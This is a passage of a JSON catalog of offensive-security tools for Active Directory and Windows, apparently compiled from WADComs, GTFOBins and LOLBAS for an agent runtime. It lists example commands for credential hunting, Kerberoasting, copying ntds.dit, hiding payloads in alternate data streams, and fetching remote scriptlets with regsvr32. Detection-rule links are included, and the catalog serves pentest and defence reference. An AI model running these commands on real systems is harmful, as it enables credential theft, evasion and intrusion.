    "_body": "\n# Snaffler\n\nSnaffler is a tool used to enumerate sensitive data (passwords, PII, etc.) from file shares in Active Directory. It searches for interesting files based on file extensions, file names, and file content that's matched against regex. It's also highly configurable, allowing you to add your own regex searches. The following command will enumerate all machines in the domain and search for accessible file shares, checking for interesting files that might have sensitive data.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tDomain Controller: 10.10.10.1\n\n```\nSnaffler.exe -s -o snaffler_output.log -d test.local -c 10.10.10.1\n```\n\n**Services:** SMB\n\n**Required:** Shell\n",
    "_source": "wadcom-snaffler.md",
    "capabilities": [
      "network.enumerate.shares"
    ],
    "description": "Snaffler is a tool used to enumerate sensitive data (passwords, PII, etc.) from file shares in Active Directory. It searches for interesting files based on file extensions, file names, and file content that's matched against regex. It's also highly configurable, allowing you to add your own regex searches. The following command will enumerate all machines in the domain and search for accessible file shares, checking for interesting files that might have sensitive data.",
    "examples": [
      {
        "description": "Command execution",
        "command": "Snaffler.exe -s -o snaffler_output.log -d test.local -c 10.10.10.1"
      }
    ],
    "execution": {
      "template": "snaffler",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin"
    ],
    "id": "wadcom-snaffler",
    "items": [
      "Password",
      "Hash"
    ],
    "name": "Snaffler",
    "namespace": "wadcom:tool:snaffler",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/SnaffCon/Snaffler"
      }
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# targetedKerberoast\n\ntargetedKerberoast is a Python script that can, like many others (e.g. GetUserSPNs.py), print \"kerberoast\" hashes for user accounts that have a SPN set. This tool brings the following additional feature: for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), print the \"kerberoast\" hash, and delete the temporary SPN set for that operation.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tAttacker IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n```\npython3 targetedKerberoast.py -d test.local -u john -p password123 --dc-ip 10.10.10.1\n```\n\n**Services:** Kerberos, NTLM\n\n**Required:** Password, Username\n",
    "_source": "wadcom-targetedkerberoast.md",
    "capabilities": [
      "credential.dump.kerberos"
    ],
    "description": "targetedKerberoast is a Python script that can, like many others (e.g. GetUserSPNs.py), print \"kerberoast\" hashes for user accounts that have a SPN set. This tool brings the following additional feature: for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), print the \"kerberoast\" hash, and delete the temporary SPN set for that operation.",
    "examples": [
      {
        "description": "Command execution",
        "command": "python3 targetedKerberoast.py -d test.local -u john -p password123 --dc-ip 10.10.10.1"
      }
    ],
    "execution": {
      "template": "targetedkerberoast",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "interactive",
      "pipes-stdout",
      "process-manip"
    ],
    "id": "wadcom-targetedkerberoast",
    "items": [
      "TGS",
      "Hash"
    ],
    "name": "targetedKerberoast",
    "namespace": "wadcom:tool:targetedkerberoast",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/ShutdownRepo/targetedKerberoast"
      }
    ],
    "services": [
      "Kerberos",
      "LDAP"
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# windapsearch\n\nwindapsearch enumerates users, groups, and computers from a Windows domain through LDAP queries. The following command enumerates all 3 of the above mentioned using provided credentials.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tEnum Users: -U\n\n\tEnum Groups: -G\n\n\tEnum Domain Admins: --da\n\n\tEnum members of group: -m \"Remote Desktop Users\"\n\n\tEnum Computers and resolve DNS: -C -r\n\n```\npython3 windapsearch --dc-ip 10.10.10.1 -u test.local\\\\john -p password123 -U -G --da -m \"Remote Desktop Users\" -C -r\n```\n\n**Required:** Username, Password\n",
    "_source": "wadcom-windapsearch.md",
    "capabilities": [
      "directory.enumerate.ldap"
    ],
    "description": "windapsearch enumerates users, groups, and computers from a Windows domain through LDAP queries. The following command enumerates all 3 of the above mentioned using provided credentials.",
    "examples": [
      {
        "description": "Command execution",
        "command": "python3 windapsearch --dc-ip 10.10.10.1 -u test.local\\\\john -p password123 -U -G --da -m \"Remote Desktop Users\" -C -r"
      }
    ],
    "execution": {
      "template": "windapsearch",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "wadcom-windapsearch",
    "items": [
      "NoCreds"
    ],
    "name": "windapsearch",
    "namespace": "wadcom:tool:windapsearch",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/ropnop/windapsearch"
      },
      {
        "label": "Reference 2",
        "url": "https://www.attackdebris.com/?p=470"
      }
    ],
    "services": [
      "LDAP"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# winPEAS\n\nwinpeas.exe is a script that will search for all possible paths to escalate privileges on Windows hosts. The below command will run all priv esc checks and store the output in a file.\n\nCommand Reference:\n\n\tRun all checks: cmd\n\n\tOutput File: output.txt\n\n```\nwinpeas.exe cmd > output.txt\n```\n\n**Required:** Shell\n",
    "_source": "wadcom-winpeas.md",
    "capabilities": [
      "security.privilege-escalation.enumerate"
    ],
    "description": "winpeas.exe is a script that will search for all possible paths to escalate privileges on Windows hosts. The below command will run all priv esc checks and store the output in a file.",
    "examples": [
      {
        "description": "Command execution",
        "command": "winpeas.exe cmd > output.txt"
      }
    ],
    "execution": {
      "template": "winpeas",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "wadcom-winpeas",
    "items": [
      "NoCreds"
    ],
    "name": "winPEAS",
    "namespace": "wadcom:tool:winpeas",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS"
      },
      {
        "label": "Reference 2",
        "url": "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASexe/README.md"
      },
      {
        "label": "Reference 3",
        "url": "https://book.hacktricks.xyz/windows/windows-local-privilege-escalation"
      }
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# w3m\n\nw3m is a command-line utility. Text-based web browser; can also read arbitrary files.\n",
    "_source": "w3m.md",
    "allowed-tools": [
      "w3m"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Text-based web browser; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "w3m -dump /path/to/input-file"
      }
    ],
    "execution": {
      "template": "w3m",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "web-browser-w3m",
    "install": [
      {
        "method": "apt",
        "package_name": "w3m",
        "commands": [
          "apt-get install -y w3m"
        ]
      }
    ],
    "name": "w3m",
    "namespace": "web:browser:w3m",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/w3m/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# varnishncsa\n\nvarnishncsa is a command-line utility. Varnish log viewer in NCSA format; can also write to arbitrary files.\n",
    "_source": "varnishncsa.md",
    "allowed-tools": [
      "varnishncsa"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Varnish log viewer in NCSA format; can read arbitrary files.",
    "examples": [
      {
        "description": "Write to arbitrary files (sudo, suid)",
        "command": "varnishncsa -g request -q 'ReqURL ~ \"/xxxxxxxxxx\"' -F '%{yyy}i' -w /path/to/output-file"
      }
    ],
    "execution": {
      "template": "varnishncsa",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "web-cache-varnishncsa",
    "install": [
      {
        "method": "apt",
        "package_name": "varnish",
        "commands": [
          "apt-get install -y varnish"
        ]
      }
    ],
    "name": "varnishncsa",
    "namespace": "web:cache:varnishncsa",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/varnishncsa/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cmd\n\ncmd is a Windows LOLBin. The command-line interpreter in Windows Located at: C:\\Windows\\System32\\cmd.exe; C:\\Windows\\SysWOW64\\cmd.exe.\n",
    "_source": "cmd.md",
    "allowed-tools": [
      "cmd"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ye Yint Min Thu Htut",
    "capabilities": [
      "system.file.alternate-data-stream",
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "The command-line interpreter in Windows Located at: C:\\Windows\\System32\\cmd.exe; C:\\Windows\\SysWOW64\\cmd.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml"
      },
      {
        "type": "ioc",
        "description": "cmd.exe executing files from alternate data streams."
      },
      {
        "type": "ioc",
        "description": "cmd.exe creating/modifying file contents in an alternate data stream."
      }
    ],
    "examples": [
      {
        "description": "Add content to an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat"
      },
      {
        "description": "Execute payload.bat stored in an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "cmd.exe - < {PATH}:payload.bat"
      },
      {
        "description": "Downloads a specified file from a WebDAV server to the target file. (Download/copy a file from a WebDAV server)",
        "command": "type {PATH_SMB} > {PATH_ABSOLUTE}"
      },
      {
        "description": "Uploads a specified file to a WebDAV server. (Upload a file to a WebDAV server)",
        "command": "type {PATH_ABSOLUTE} > {PATH_SMB}"
      }
    ],
    "execution": {
      "template": "cmd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-cmd",
    "install": [
      {
        "method": "choco",
        "package_name": "cmd",
        "commands": [
          "choco install cmd"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1059.003",
      "T1105",
      "T1048.003"
    ],
    "name": "cmd",
    "namespace": "windows:ads:cmd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1143824979139579904",
        "url": "https://twitter.com/yeyint_mth/status/1143824979139579904"
      },
      {
        "label": "1601408154780446721",
        "url": "https://twitter.com/Mr_0rng/status/1601408154780446721"
      },
      {
        "label": "a-new-lolbin-using-the-windows-type-command-to-upl",
        "url": "https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22"
      },
      {
        "label": "type",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cscript\n\ncscript is a Windows LOLBin. Binary used to execute scripts in Windows Located at: C:\\Windows\\System32\\cscript.exe; C:\\Windows\\SysWOW64\\cscript.exe.\n",
    "_source": "cscript.md",
    "allowed-tools": [
      "cscript"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary used to execute scripts in Windows Located at: C:\\Windows\\System32\\cscript.exe; C:\\Windows\\SysWOW64\\cscript.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Cscript.exe executing files from alternate data streams"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR libraries loaded into cscript.exe"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR Usage Log - cscript.exe.log"
      }
    ],
    "examples": [
      {
        "description": "Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs"
      }
    ],
    "execution": {
      "template": "cscript",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-cscript",
    "install": [
      {
        "method": "choco",
        "package_name": "cscript",
        "commands": [
          "choco install cscript"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004"
    ],
    "name": "cscript",
    "namespace": "windows:ads:cscript",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# esentutl\n\nesentutl is a Windows LOLBin. Binary for working with Microsoft Joint Engine Technology (JET) database Located at: C:\\Windows\\System32\\esentutl.exe; C:\\Windows\\SysWOW64\\esentutl.exe.\n",
    "_source": "esentutl.md",
    "allowed-tools": [
      "esentutl"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.copy",
      "system.file.alternate-data-stream",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary for working with Microsoft Joint Engine Technology (JET) database Located at: C:\\Windows\\System32\\esentutl.exe; C:\\Windows\\SysWOW64\\esentutl.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_params.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/esentutl_sam_copy.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml"
      }
    ],
    "examples": [
      {
        "description": "Copies the source VBS file to the destination VBS file. (Copies files from A to B)",
        "command": "esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o"
      },
      {
        "description": "Copies the source EXE to an Alternate Data Stream (ADS) of the destination file. (Copy file and hide it in an alternate data stream as a defensive counter measure)",
        "command": "esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o"
      },
      {
        "description": "Copies the source Alternate Data Stream (ADS) to the destination EXE. (Extract hidden file within alternate data streams)",
        "command": "esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o"
      },
      {
        "description": "Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file. (Copy file and hide it in an alternate data stream as a defensive counter measure)",
        "command": "esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o"
      },
      {
        "description": "Copies the source EXE to the destination EXE file (Use to copy files from one unc path to another)",
        "command": "esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o"
      },
      {
        "description": "Copies a (locked) file using Volume Shadow Copy (Copy/extract a locked file such as the AD Database)",
        "command": "esentutl.exe /y /vss c:\\windows\\ntds\\ntds.dit /d {PATH_ABSOLUTE:.dit}"
      }
    ],
    "execution": {
      "template": "esentutl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-esentutl",
    "install": [
      {
        "method": "choco",
        "package_name": "esentutl",
        "commands": [
          "choco install esentutl"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1564.004",
      "T1003.003"
    ],
    "name": "esentutl",
    "namespace": "windows:ads:esentutl",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "985994639202283520",
        "url": "https://twitter.com/egre55/status/985994639202283520"
      },
      {
        "label": "",
        "url": "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/"
      },
      {
        "label": "1094810861095534592",
        "url": "https://twitter.com/bohops/status/1094810861095534592"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "defense-evasion",
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# extrac32\n\nextrac32 is a Windows LOLBin. Extract to ADS, copy or overwrite a file with Extrac32.exe Located at: C:\\Windows\\System32\\extrac32.exe; C:\\Windows\\SysWOW64\\extrac32.exe.\n",
    "_source": "extrac32.md",
    "allowed-tools": [
      "extrac32"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "network.transfer.download",
      "system.file.copy"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Extract to ADS, copy or overwrite a file with Extrac32.exe Located at: C:\\Windows\\System32\\extrac32.exe; C:\\Windows\\SysWOW64\\extrac32.exe.",
    "detections": [
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml"
      }
    ],
    "examples": [
      {
        "description": "Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file. (Extract data from cab file and hide it in an alternate data stream.)",
        "command": "extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe"
      },
      {
        "description": "Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file. (Extract data from cab file and hide it in an alternate data stream.)",
        "command": "extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe"
      },
      {
        "description": "Copy the source file to the destination file and overwrite it. (Download file from UNC/WEBDav)",
        "command": "extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}"
      },
      {
        "description": "Command for copying file from one folder to another (Copy file)",
        "command": "extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}"
      }
    ],
    "execution": {
      "template": "extrac32",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-extrac32",
    "install": [
      {
        "method": "choco",
        "package_name": "extrac32",
        "commands": [
          "choco install extrac32"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1105"
    ],
    "name": "extrac32",
    "namespace": "windows:ads:extrac32",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
      },
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      },
      {
        "label": "985994639202283520",
        "url": "https://twitter.com/egre55/status/985994639202283520"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion",
      "exfiltration",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# findstr\n\nfindstr is a Windows LOLBin. Write to ADS, discover, or download files with Findstr.exe Located at: C:\\Windows\\System32\\findstr.exe; C:\\Windows\\SysWOW64\\findstr.exe.\n",
    "_source": "findstr.md",
    "allowed-tools": [
      "findstr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "credential.dump",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Write to ADS, discover, or download files with Findstr.exe Located at: C:\\Windows\\System32\\findstr.exe; C:\\Windows\\SysWOW64\\findstr.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml"
      }
    ],
    "examples": [
      {
        "description": "Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file. (Add a file to an alternate data stream to hide from defensive counter measures)",
        "command": "findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe"
      },
      {
        "description": "Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file. (Add a file to an alternate data stream from a webdav server to hide from defensive counter measures)",
        "command": "findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe"
      },
      {
        "description": "Search for stored password in Group Policy files stored on SYSVOL. (Find credentials stored in cpassword attrbute)",
        "command": "findstr /S /I cpassword \\\\sysvol\\policies\\*.xml"
      },
      {
        "description": "Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file. (Download/Copy file from webdav server)",
        "command": "findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}"
      }
    ],
    "execution": {
      "template": "findstr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-findstr",
    "install": [
      {
        "method": "choco",
        "package_name": "findstr",
        "commands": [
          "choco install findstr"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1552.001",
      "T1105"
    ],
    "name": "findstr",
    "namespace": "windows:ads:findstr",
